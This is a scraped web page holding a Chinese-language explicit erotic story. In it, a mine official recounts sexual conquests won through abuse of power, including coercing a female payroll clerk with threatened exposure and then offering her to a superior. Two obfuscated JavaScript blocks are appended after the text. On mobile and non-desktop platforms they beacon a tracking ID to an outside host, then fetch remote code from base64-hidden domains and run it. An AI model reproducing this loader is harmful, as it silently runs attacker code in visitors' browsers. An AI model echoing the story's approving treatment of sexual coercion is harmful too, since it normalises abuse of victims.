图片载入中

一个性福男人的自述

特大字】 【大字】 【中字】 【小字

.

我叫李开怀,是一个大男人,今年五十有六啦。

为啥说我是一个大男人呢?

首先,我有一米七五的个子,体重八十六公斤,这相对于我成长那个年代来说,个子比较大的。

第二,我干过记工员、组长、队长、工会主席等等的职务,这些都是官,不论大小,专门管老百姓的;第三,

我的鸡巴很大,也很粗,拜倒在我的肉棒下的女人,可以说不计其数。

综上所述,我天生就是一个大男人,不是吗?

中国有句话,叫做:老婆是别人的好,娃娃是自己的乖。这是一句颠扑不破的真理,无需用狗屁的实践来证明,

我自己就可以作证。

我的家乡在一个比较封闭的农业县。

过去,那里不发达,当地的人们终年从事农业劳动,收入太少,导致当地的人很穷,常年没有新衣服穿,虽然

大米饭可以吃饱。

我十六岁那年初中毕业,就回家当了一名回乡青年,成了生产队年轻的社员。

后来生产队的书记队长见我有文化,就叫我干了记工员,属于半脱产的干部。

我先不想干,成天走东串西的,有时候还要得罪人。但是在我从事了这个工作以后,我才发觉里面的奥妙无穷,

嘿嘿。

记工员在村里虽说不太起眼,但绝对实惠。社员们喜欢巴结我,有好吃的,都叫我到他们家里去品尝。这一点

队长书记有时候都整不赢我。

经常与社员们打交道,我也摸出了一些规律与心得,他们巴结我,无非就是为了多拿两个工分而已,而对于我

来说,不过是小菜一碟。只要对我好,我也对你好;只要给我好处,我也会给你好处。投桃报李的事,谁不会做,

就是傻瓜。

这样一来,得到好处的社员总是念我的好,而那些没有好处的人,到处打听怎么才能得到我的好处,于是也就

效仿开来。

这样一来,越来越多的人都在念叨我的好来,于是,我的名望也就越来越高,私底下我认为比队长书记都要高

;但我是绝对聪明的,有队长书记在的场合,我是不开口的;而在他们的面前,对他们的指示是绝对服从,尽管我

认为那些指示其实一钱不值。

那一天,在梨园山上劳动的时候,隔壁阿牛的老婆巧珍趁没有人在跟前的时候,提出要承包看守梨园山以及山

上一座鱼溏的要求,一时之间我不置可否。

因为看守梨园山以及鱼溏的事,是块大肥肉,看守人可以捞到不少好处,而且得到的工分也是最高的。

看着我不置可否的样子,小媳妇急了,拉着我到了后山,捡一处绿草茵茵的地方,解开了自己的衣服,裸露出

两只雪白的大奶子。

巧珍是外地讨来的媳妇,大约二十三四岁,人生得娇小玲珑,模样俊俏,身材婀娜,我早就对着她的身体产生

了兴趣;不过,不敢造次,在我们那里,弄出男女绯闻是要被指嵴梁骨的,那口水可以把人淹死。

眼下看到她的大奶子,我的眼珠一下子就挪不开了。

巧珍人长得纤巧,但那两只奶子却不小,在偏西的阳光照射下,泛着白花花的光芒;奶子中央,是粉红色的乳

晕,乳晕有一块银元那么大,乳晕中央是殷红的奶头,就像一颗成熟了的葡萄一样,看上去滑润无比。

在农村虽然可以经常看到妇女们裸露的奶子,但像这样漂亮的奶子却是不多见,更何况现在活色生香的就袒露

在我的眼前。我的鸡巴一下子就翘了起来,顶得裤子就像撑起了一座帐篷。

巧珍看着我,笑了,拉着我的手,就去摸她的奶,一瞬间,那种女人特有的温柔感觉笼罩了我,我急不可耐的

俯下身子,本能的叼起了她的奶头,一股乳香彻底包围了我……巧珍躺在了柔软的草地上,缓缓地脱光了她的裤子,

她白嫩的大屁股、胯间蓬松的黑森林映入了我的眼帘……我扑了上去,坚挺的鸡巴在她的胯间急速的乱插着,阵阵

的刺痛告诉我,没有进去。

巧珍嗤嗤一笑,伸手拉着我的鸡巴到了一个柔软的洼陷处,然后放开手,抱着我的腰用力一拉,一股热烘烘的

感觉瞬时从鸡巴传遍了我的全身……就在这一天,我告别了自己保留十七年的处男之身,获得了一个男人的新的生

命历程,也开垦了我对于女人索取的欲望。

当然,结果可想而知,巧珍顺利的得到了看守山、溏的工作;我呢,只要我有时间,就会到梨园山上,找巧珍

幽会一番,在她的教授下,我获得了对付女人的许多经验。可以说,巧珍是我性启蒙的最好的老师。

在我二十岁的时候,远方的一所煤矿到我们县来招工,得到消息后,我报了名,我不指望在这个封闭的乡村里

呆上一辈子,何况我有文化,年纪还轻。

就这样我到了现在的煤矿,当了一名工人。

最初的兴奋逐渐散去,留给我的是不同于家乡的生活。

在煤矿工作,不同于乡下农田。

在这里,一切都要讲时间。开会学习讲时间,上下班讲时间,吃饭讲时间……我仗着自身身体素质好,而且懂

文化,很快就适应了周围环境的变迁,而且第一批加入了共青团,在第二年成了队团支部的一名支委。

我所在的队是运输队,负责将矿井里采出来的煤炭拉出井下,我是一个机车司机。

我开的机车有点像铁路上的火车,走的也是钢轨,不过钢轨的轨距比较窄,有0。6米,所以又叫窄轨机车。

干了两年的运输工作,因为我个子大,力气大,又有过当初乡下管理的经验,很快就被运输队书记赏识,提拔

我当了本组的组长。

众所周知,煤矿是个阳盛阴衰的单位,在这里,女人比较少,除了机关科室、医院、学校,在生产单位女人最

多的就是矿灯房、修理间,还有食堂。

我所在的运输队有一个修理间,里面倒是有一些女人。

自从我当了组长,就有时间在上班的时候到处走走、逛逛。

那天,我因为修理一辆机车,跑到了修理间。才一进门,就见到了本组一个工人的老婆,她的大名叫玉莲,在

修理间上班。

这个女人是在去她家喝酒时认识的,大约二十七八岁,身体富态,大腿滚圆,腰肢粗壮有力,屁股像磨盘一样

硕大无朋。

她一见到我,就笑眯眯的同我开起了玩笑:“你到我们这里干什么?是不是想找小姑娘?”我说:“是为了机

车修理的事,现在井下机车缺乏,而我们的机车有好几辆都坏了。”她笑道:“机车会修好的。过来,我同你讲…

…”说着,她伸出热乎乎的手,拉我靠近了她。立时,一股久违了的女人香味儿袭击了我。

我同女人之间,离开了巧珍,就没有其他的人了,更何况来到这个人生地不熟的煤矿;而现在有这么一个女人,

无疑引发了我的欲望。不过,我还是有所克制,在摸不清对方的思想前,我是不会轻易越雷池半步的,小心驶得万

年船么。

果然,在我靠近这个婆娘后,她倾述起她的家庭。

煤矿工作一般都是三班倒,她的老公也一样;而她一般都上大班,早八点上班,下午五点下班。回家后家长里

短的都基本是她在忙活,也没有一个能够帮上忙的;特别是老公上班去以后,待晚间睡下后,独床冷寝的,好不熬

人;等到老公休息,因为身体病怏怏的,又不能满足她的需要。

俗话说:三十如狼,四十如虎。在她这个接近如狼似虎的年代,扎实的难过。

她说着,眼巴巴的看着我,一副哀怨的眼神使我难忘,我情不自禁的抬起了手,在她白嫩的脸蛋上仔细的为她

揩搽着眼泪,她静静的不做声,任凭我为她服务;看着她小鸟依人的模样,一股柔情也令我下了决心:为她分忧解

难。

当然,这种事要掌握好火候,心急不得。于是,我拿出当年做记工员所练出来的功夫,尽力宽她的心,以至于

后来她竟然被我逗得“咯咯,咯咯”直笑。

就这样,我同她熟稔了起来。

以后,我多次到她家,不过都是同她的老公一齐去的,内容么基本都是喝酒,不过我也不白吃他们的,几乎每

次都买酒买肉。

一次喝酒的时候,她的老公率先喝醉了,我们七手八脚的把他扶到了里屋的床上后,我告辞着要走。

她走了过来,拉着我的手说,她还想喝酒,要我陪她。

有这么一个女人一齐喝酒,不也是人生一大快事么,于是,我们重整杯盘,喝了起来。

这个女人的酒量很好,比起她的老公高出了一大截,同我正好旗鼓相当,再加上我们俩人比较谈得来,有许多

共同的话题,于是俩人越喝越高兴,很快一公斤酒就下去了,她还嚷着要酒喝。

我看着她水汪汪的眼睛,对她说:“玉莲大姐,下回再喝吧。”她伸手搂过我的脖子,对着我的耳朵说:“大

兄弟,我给你说句悄悄话,我同他都没有喝过这么多酒,你说是为什么?因为我喜欢你。”说着就在我的脸上热辣

辣的亲了一口。

我反手搂过了她的腰肢,也在她胖乎乎的脸蛋上亲了一口,来而不往非礼也,何况我们都喝多了,胆子也大了

起来。

见到我也亲她,她高兴的笑了。

看着近距离的妩媚女人,我的鸡巴不禁翘了起来,我试探着在她丰满的胸脯上摸了一把,立刻,久违了的女人

的柔软笼罩了我,再看看她,水汪汪的眼睛里饱含了丝丝情意,深邃的目光里飘荡着一丝火辣辣的秋波……一瞬间,

酒意涌上了我的脑袋,我张开双手,将她丰满的身体紧紧的抱在了怀里,头一低,找到了她嫣红的嘴唇,使劲的吸

吮起来。在我的热情的感召下,她软绵绵的舌头钻进了我的嘴里,到处游移着,搅拌着。

我们嘴对嘴的热吻起来。

就在我们的嘴里充满了彼此的口水时,她突然将舌头抽了出去,推开我的搂抱。我一愣:是不是她不打算同我

玩男女游戏了呢?

她拉了拉被弄乱的衣服,走进了他们的卧室,不一会,又走了出来,反手将房门关好了,接着,她走到了我的

身边,挤着我坐了下来。

我们同时伸出手,将对方抱得紧紧的,她低声说道:“我去看看他。”“咋样?”我问道。

“睡得跟个死猪一样,嘻嘻。”听到她的回答,我放下了心,原来这个女人很有心计。

于是,我们又亲在了一起。

“跟我好吧。”女人气喘吁吁的说道,反手解脱着自己的衣服。不一时,她雪白的两只大奶子裸露在我的眼前

:那是多么美丽的奶子呀,就像两只才蒸好的大馒头一样的喧腾,奶子中央,是褐色的奶头,圆熘熘的。

看着眼前美丽的妇人,我的欲望不可抑止的勃发了,我扑到她的胸前,含住一粒奶头就拼命的吸吮起来,另外

伸出手在另一只奶子上揉搓起来;女人也不示弱,伸出手握住我翘起来的鸡巴使劲的揉捏着……我的手往下滑动,

经过裤腰,插进了她的裤裆,我的手摸到了一丛毛毛,毛毛底下是火热的一片,有滑腻腻的东西沾染在我的手指,

我抽出了闻了闻,女性分泌物特有的芬芳袭击了我,我瞟了她一眼,她脸红红的看了我一下,闭紧了眼睛。

我解开了她的裤扣,她配合着抬起了屁股,让我褪下了她的裤子。一个白生生的女人就这样赤裸裸的出现在我

的眼前,我再也忍不住了,解开裤门,亮出我那支黑油油长甩甩的鸡巴,挺立着就往她的阴部扎去。

“咕唧”一声,鸡巴钻进了她充满淫水的逼里。

“喔……”她呻吟着。

我开始了尽力的抽插,一时间,屋里尽是老水牛踩在泥巴里的声音;而她的嘴里也传来了压抑着的低低的呻吟

声。

没有几分钟,我的精液就一泄如注。

我抽出了软绵绵的鸡巴,滚到了一边喘息着,她睁开了迷蒙的眼睛,看了看我,抬起手来,抓住我的鸡巴揉搓

着。

我的鸡巴很大,也很长,即使在疲软的状态下,也是一大堆。

在她的揉搓下,没有几分钟,鸡巴又一次变得又粗又长,龟头铮亮。

玉莲大姐笑眯眯的说道:“到底是年轻人,好强。”说着就张开嘴巴,也不顾鸡巴上沾满了她逼里的淫水,伸

出粉红色的舌头仔细的舔了起来,立时一股湿濡、温暖的感觉笼罩了我,我的鸡巴更加的粗壮了,一跳一跳的就想

往女人的逼里日进去。

她妩媚的一笑,爬上我的身子,把鸡巴抵在她的阴道口,然后慢慢的往下坐,我的鸡巴如愿的进入了她紧窄的

膣道内,感受到了年轻女人的火热。

由于我已经射过了一次,第二次就来得格外的持久。她抖动着身子来过三次高潮后,我的欲望才到达顶峰,就

在我再一次将滚烫的的精液喷进她的阴道内,她的高潮又一次来到了,喷出了大量的淫水,那淫水弄得我的下身、

阴毛上全都是湿漉漉的。

完事后,她用一块干净的手帕把我擦得干干净净的,然后我俩穿好了衣服,再看看那个醉汉,还在唿唿大睡。

女人情意绵绵的看着我,她说她爱上了我,要我有机会就来找她。

转瞬之间,好几年过去啦,我在这个女人的安排下,认识了一个在食堂工作的小姑娘,小姑娘姓肖,后来成了

我的老婆,不过,本文不谈论有关老婆的事,就此略过。

我所在的运输队原来的书记调到了井里工作,由他提名,我担任了运输队的队长,这在同我一起当工人的同乡

里,爬的算是快的了。

当然,我也有我的招数。

一个人老老实实的,是不会有大的出息,要想在一个环境里很快的落脚、生根、发芽、开花、结果,不下功夫

是不行的。

在煤矿,一般都是书记说了算。我们队的书记比较好吃,因此我在有机会的时候,就拉着他到我家吃吃喝喝,

哪怕是买高价的鸡鸭鱼肉也在所不惜,加上我的老婆会做菜,书记吃得快乐,同我的关系也就好了起来;另外,在

一次喝酒的时候,我还安排了书记与同我偷情的那个女人的偷情,看着书记日弄那个胖女人,我的鸡巴胀鼓鼓的好

难受,只好找五姑娘暂时解决一下问题。

就这样,我当了一个队长,手底下管着二百多号工人,平时没有事的时候,我还是到井下看看、转转;年前节

后的,安排一下工人弟兄们的聚餐伙食,这样一来,大家伙都对我有了好感,原来有些对我当队长不服气的也张开

了笑脸。

当了队长,权力大了起来,女人也多了起来。

说起来,她们也是为了某种目的,来同我交往的。

修理间的女人们基本都同我有关系,还安排了玉莲当了修理间的组长,于是只要我看中里面的哪个女人,她都

会帮我安排得妥妥帖帖的,当然,我也不亏待她,大鸡巴经常喂得她饱饱的,还经常拿钱给她花。每当我日完她后,

或者拿钱给她时,通常她会都会笑的像个烂柿子一样的灿烂无比。

只有一个女人令我挠头,她就是运输队的工资员,专门造发全队职工工资。

仗着她的姐夫是井财务组的组长,她顺理成章的当了工资员;另外,她才二十一岁,才结婚,还没有孩子,所

以她本人身材高挑,瓜子脸,全身该细的细,该粗的粗,屁股滚圆,胸脯高耸。

还在我当组长的时候,见到她就垂涎欲滴,苦于没有机会;她见到我是一副看不起的样子;而现在我当了队长,

她还是没有把我放在眼里,每天只是在自己的办公室里,对我待理不睬的。

每天看着她,但又尝不到她的鲜味,不是急死人嘛。

有道是上天总是眷顾那些有所准备的人。就在我对着她一筹莫展的时候,在一次酒喝多的情况下,本队的一个

工人向我揭发了朱米菊的事,原来她依仗着造工资的权利,向一些曾经请过病假、事假的工人收取多发的工资,还

威胁这些工人不许举报,而这在工资账面上根本看不出来。

在得知这个情况后,我向队党支部书记汇报说:“现在队里有这个情况,你怎么处理才好?”书记说:“只要

有了真凭实据,就一定要向上反映,这种人不能留在干部队伍中。”“好吧,我找她谈谈看。”我急忙说。

当我将朱米菊找到我的办公室,询问这件事时,她的脸一会儿红,一会儿白,但仍然竭力辩驳,当我将那些被

她敲诈过的工人的名字一一列出来的时候,她的脸色变了,惨白惨白的,我加重了语气,对她说:“如果你据不承

认,那么叫上工人一起到井里去讲,到时恐怕你的公职都保不住。”一席话说得她呜呜的哭了出来,再也抬不起那

颗高贵的头来了。

“只要你听话,我不会为难你的。”我意味深长的说着。

她看了我一眼,默默地低下了头。

我凑到她的身边,在她白嫩的脸蛋上摸了一把,她抬起头来,又看了我一眼,我走到她的身后,抱住了她,伸

手在我向往已久的那高耸的胸脯上摸去,一时间,富有弹性的年轻女人的肉体的感触,经过我的手,传了过来。

随着我的摸弄,朱米菊的脸蛋红润了起来,嘴里也情不自禁的喘息着,我见时机已到,抱起她来走进了内屋。

里屋有一张床,是我值班时睡觉用的,有时也在这里同送上门来的女工欢好。

我扒光了朱米菊的衣服,来不及做什么前戏,将粗黑的大鸡巴猛的插进了她的阴道。阴道内比较干涩,带来了

鸡巴上全新的刺激,我的鸡巴就更加的硬了我的鸡巴才一刺朱米菊的阴道,一滴清丽的泪珠从她的眼眶滚落出来,

也许她做梦也没有想到,自己的错误要用这样的方式来买单。

我挺耸着鸡巴,在她的阴道内来回抽插,随着我的抽插,她的阴道逐渐的湿润了起来,一些淫水也分泌了出来,

乳白色的淫水随着我的肉棒流了出来,我们交合的部位变得滑腻腻的。

而朱米菊此时大概也获得了性交的快感,嘴里吐出了难以压抑的呻吟声,她的眼睛紧紧的闭着,鲜艳的嘴唇微

张着,在灯光下显得格外的性感,一对大奶子随着身体的来回运动,幻化出一圈圈迷人的涟漪。

看着这个朝思暮想的大美人被征服,一股男人的自豪感笼罩了我的全身。

随着她连续三次的高潮后,我的精液也一泻而出,灌注在她柔嫩的阴道里。

休息了一会,我将手摸捏着她鼓胀的奶子,对她说:“你要钱可以找我说,但以后不能再克扣工人了,要不,

我也保不住你。”她听了,知道我放了她一马,眼睛里流露出一丝感激的神色,噘起嘴唇,在我的嘴上亲了一下,

说:“你就是我的亲人,我会照着你说的话去做的。”就这样,朱米菊被我收归了帐下。

以前提拔我的老书记总是忘不了我,虽然现在他已经是井党总支书记,但他总是不忘记过去,经常同我一起玩。

那天,他借着下部门考察的机会,来到了他以前战斗过的地方。

老书记来临,哪能怠慢。

我命令朱米菊安排好中午、下午的聚餐,静候贵宾的来到。

上午,老领导检查完矿井质量标准化,就一头扎进了我们的办公室;中午,老领导在喝酒过程中,就目不转睛

的看着陪酒的朱米菊窈窕的身姿。

我见到老领导失态的做法,急忙将他带出去解手,实际上是想探知他的心意。

就在我们走在路上的时候,老领导透露出他早就想玩朱米菊的心迹,但一直没有机会。

呵呵,真是英雄难过美人关。

于是,我如此如此,这般这般,对着朱米菊下达了命令。

傍晚,当老领导摇摇晃晃走出了我的那间办公室,我知道事情已经靠谱,于是,在送走老书记后,走进了办公

室,而朱米菊还躺在床上。

此时的朱米菊盖着一床薄被,她一见我,掀开了被子,坐了起来,两只大奶子悬吊在胸前一晃一晃的。

朱米菊娇滴滴的说道:“领导,快,快来救救我!”我说:“咋了?”朱米菊亟不可待的伸手就往我的鸡巴抓。

看着赤裸裸的美女,我的鸡巴早就胀鼓鼓的,于是,顺着她的意思,将鸡巴戳进了她的湿濡的逼内。

咕唧咕唧咕唧,小屋内响起了暧昧的声音。

末了,朱米菊才告诉我实情:老领导的身体不行了,只是玩弄她的奶子,舔她的逼,但还没有真正进入她的阴

道就射精。如此三番,到最后他的鸡巴再也不能翘了才作罢。

我听了唯有苦笑而已。

不过,这次美人计对于我来说得到的结果超乎想象,没有几天,我就调到了井里,当工会主席。

又一次的跨越,又一次新的工作岗位。

期待我的,是新的女人,新的机遇。

一些女人是我用职权掳来的,一些女人是我用金钱收买来的,还有一些女人是被自己的丈夫出卖的。

一晃,我在井工会主席这个位置上干了两年,在这两年中,我拿下了井工会的女工委员,尽管她大我十多岁,

但一副保养良好的身材与脸蛋不亚于小姑娘,但比小姑娘更有风情,所谓的徐娘半老,掳走了机电队的队花胡莉,

她天生一副狐媚模样,桃花眼随时吐露着勾引人的精光;收获了后勤队的团支部书记历菊,她身材纤小。当她蜷伏

在我伟岸的身体下,被我压得哼哼唧唧的时候,我才感到雄壮的男人的自豪。

最好玩的是在我原来的运输队里,有一个人,姓王,虽然其人个子不高,但很是精明。

一天,他请我到他家喝酒,其间,他的老婆在屋里忙出忙进的,不时端茶送水。

他们两口子都很年轻,男的大约二十四五岁,女的大约二十一二吧。

女人很年轻,也很漂亮,苹果似的脸蛋,泛着鲜艳的粉红色,那天她穿了一件粉红色的紧身衣,包裹着年轻的

身子,显得格外的苗头与修长,胸前两大包鼓胀的乳峰,随着进出的脚步不停的跳动着,纤细的腰肢,硕大的屁股,

看得我几乎忘记了是在喝酒。

姓王的工人不时的劝酒,我在喝光了三杯后,就推说自己不胜酒力,要回家了。姓王的工人竭力劝着,他的老

婆也凑了上来,端着酒杯说要敬我的酒。在她的激励下,我同她又喝了起来,而王姓工人被晾在了一边。

我们又喝光了三杯,我摇摇晃晃的站了起来,说是要走了。见我摇摇晃晃的,年轻的女人扶住了我,立时一股

年轻的气息传进了我的鼻子,我胯下的鸡巴硬了,就着她的搀扶,顶在了她柔软的屁股上,女人觉察到了什么,脸

红了起来;她的丈夫说道:“酒醉么就在这里休息一下吧。”两口子将我扶到他们的床上。

十多分钟后我慢慢的睁开了眼睛,面前只有一个女人在,而男人却不见了踪迹。我挣扎着要起来,年轻的女人

俯下身子,轻声对我说:“你好好的休息一下,他去上班了。”听到王姓工人上班的消息,我的精神来了,抓着年

轻女人的手说:“我还是要回去,要不,就说不清了。”说着我起了身。

看着我执意要走,年轻女人的眼里闪过了一丝失望的神色,伸手扶着我起床,当我站在地上的时候,一个踉跄,

身子一歪,将女人压在了床铺上;女人伸手一搂,我重重地压在了她丰满的身子上,我胀鼓鼓的鸡巴就顶着她柔软

的小腹。

女人闭上了好看的眼睛,嘴角漾起了一丝笑意。

我再也不装了,掀起了女人粉红色的衣襟。女人里面什么都没有穿,只有两只大奶子在喷吐着青春的活力,我

明白了这家两口子的招数,到嘴的肥肉不吃,那就是大傻瓜。

我在她丰满的奶子上啃了起来,稍后,又舔她肥嫩的阴唇;当我将粗黑的鸡巴戳进她的逼里的时候,她满足的

笑了,她闭着眼睛问我:“大哥,你今年多少岁啦?”“四十岁。”“哦,看不出哟,你比我那个男人强。”“咋

说?”我不停的日弄着她,一股股乳白色的淫水从她的逼里不停的流出。

“他的鸡巴很小,也很短。每次同他日逼,他都很快就完事,弄得我不上不下的十分难过。还是同你日逼过瘾,

我都来了三次,你还是精神抖擞的。”“呵呵,喜欢日逼,就来找我吧。”“嗯!”女人满足的呻吟道。

后来,这个王姓工人我推荐他当了运输队的副队长,其实也就是我的一条狗,而他的女人则成了我的情妇,有

时我就在他的面前玩弄她的大奶子,他也只是“嘿嘿”干笑两声,急忙走出去。

战斗未有穷期,女人也是这样的,只要你喜欢,只要你肯动脑筋,在这辈子,你应该是快乐的。

如果你是个男人,而一辈子只有一个女人,那么,不得不告诉你,如果你不是有病的话,你辜负了上天赋予你

的权力。

我这辈子最最快乐的,就是玩了不少的女人。她们各有千秋,但“江山代有才人出,各领风骚几小年”。一个

女人,花开花落没有多长的时间;而对于男人来说,也没有几年可以潇洒,趁着青春年少,努力行动吧。

【完】


上一篇:得不到满足的女老师

下一篇:妖狐艳史


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};